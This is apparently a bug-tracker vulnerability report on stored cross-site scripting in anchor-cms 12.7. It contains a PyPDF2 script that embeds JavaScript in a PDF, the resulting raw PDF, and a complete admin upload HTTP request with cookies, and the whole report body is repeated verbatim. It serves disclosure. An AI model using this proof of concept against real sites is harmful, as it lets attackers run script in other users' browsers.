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anchor-cms
待办的
#I9UO7X
ai
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创建于
2024-06-03 21:47
anchor-cms Version 12.7 The following operations require the user. Through anchor/routes/admin.php, it was discovered that uploading PDFs is allowed. Edit the Python script ```python from PyPDF2 import PdfReader,PdfWriter output_pdf = PdfWriter() output_pdf.add_blank_page(width=72,height=72) output_pdf.add_js("app.alert('xss');") with open("xss.pdf","wb") as f: output_pdf.write(f) ``` Generate the PDF, and the content is opened with Notepad as follows: ``` %PDF-1.3 %忏嫌 1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj 2 0 obj << /Producer (PyPDF2) >> endobj 3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (76a293b8\055e499\055484c\05585d6\055e5a020ec2caf) 5 0 R ] >> >> >> endobj 4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj 5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj xref 0 6 0000000000 65535 f 0000000015 00000 n 0000000074 00000 n 0000000114 00000 n 0000000262 00000 n 0000000350 00000 n trailer << /Size 6 /Root 3 0 R /Info 2 0 R >> startxref 442 %%EOF ``` Copy to the upload data packet ``` POST /index.php/admin/upload HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Accept: */* Origin: http://dm.com:801 Referer: http://dm.com:801/index.php/admin/posts/add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: anchor-install-timezone=-480; anchorcms-install=kuu889i0d8thv2ff2sh7gecd1visbvm7b2a47bns4uq9jmlikji1; anchorcms=gc8oifeo8vm0f3nd8p44fr5l9u7fm8nov9okdcpr3a7qt6egusg1 Connection: close Content-Length: 869 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="999.pdf" Content-Type: image/pdf %PDF-1.3 %忏嫌 1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj 2 0 obj << /Producer (PyPDF2) >> endobj 3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (76a293b8\055e499\055484c\05585d6\055e5a020ec2caf) 5 0 R ] >> >> >> endobj 4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj 5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj xref 0 6 0000000000 65535 f 0000000015 00000 n 0000000074 00000 n 0000000114 00000 n 0000000262 00000 n 0000000350 00000 n trailer << /Size 6 /Root 3 0 R /Info 2 0 R >> startxref 442 %%EOF ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ```  Accessing directly via GET, the alert pops up successfully. 
anchor-cms Version 12.7 The following operations require the user. Through anchor/routes/admin.php, it was discovered that uploading PDFs is allowed. Edit the Python script ```python from PyPDF2 import PdfReader,PdfWriter output_pdf = PdfWriter() output_pdf.add_blank_page(width=72,height=72) output_pdf.add_js("app.alert('xss');") with open("xss.pdf","wb") as f: output_pdf.write(f) ``` Generate the PDF, and the content is opened with Notepad as follows: ``` %PDF-1.3 %忏嫌 1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj 2 0 obj << /Producer (PyPDF2) >> endobj 3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (76a293b8\055e499\055484c\05585d6\055e5a020ec2caf) 5 0 R ] >> >> >> endobj 4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj 5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj xref 0 6 0000000000 65535 f 0000000015 00000 n 0000000074 00000 n 0000000114 00000 n 0000000262 00000 n 0000000350 00000 n trailer << /Size 6 /Root 3 0 R /Info 2 0 R >> startxref 442 %%EOF ``` Copy to the upload data packet ``` POST /index.php/admin/upload HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Accept: */* Origin: http://dm.com:801 Referer: http://dm.com:801/index.php/admin/posts/add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: anchor-install-timezone=-480; anchorcms-install=kuu889i0d8thv2ff2sh7gecd1visbvm7b2a47bns4uq9jmlikji1; anchorcms=gc8oifeo8vm0f3nd8p44fr5l9u7fm8nov9okdcpr3a7qt6egusg1 Connection: close Content-Length: 869 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="999.pdf" Content-Type: image/pdf %PDF-1.3 %忏嫌 1 0 obj << /Type /Pages /Count 1 /Kids [ 4 0 R ] >> endobj 2 0 obj << /Producer (PyPDF2) >> endobj 3 0 obj << /Type /Catalog /Pages 1 0 R /Names << /JavaScript << /Names [ (76a293b8\055e499\055484c\05585d6\055e5a020ec2caf) 5 0 R ] >> >> >> endobj 4 0 obj << /Type /Page /Resources << >> /MediaBox [ 0 0 72 72 ] /Parent 1 0 R >> endobj 5 0 obj << /Type /Action /S /JavaScript /JS (app\056alert\050\047xss\047\051\073) >> endobj xref 0 6 0000000000 65535 f 0000000015 00000 n 0000000074 00000 n 0000000114 00000 n 0000000262 00000 n 0000000350 00000 n trailer << /Size 6 /Root 3 0 R /Info 2 0 R >> startxref 442 %%EOF ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ```  Accessing directly via GET, the alert pops up successfully. 
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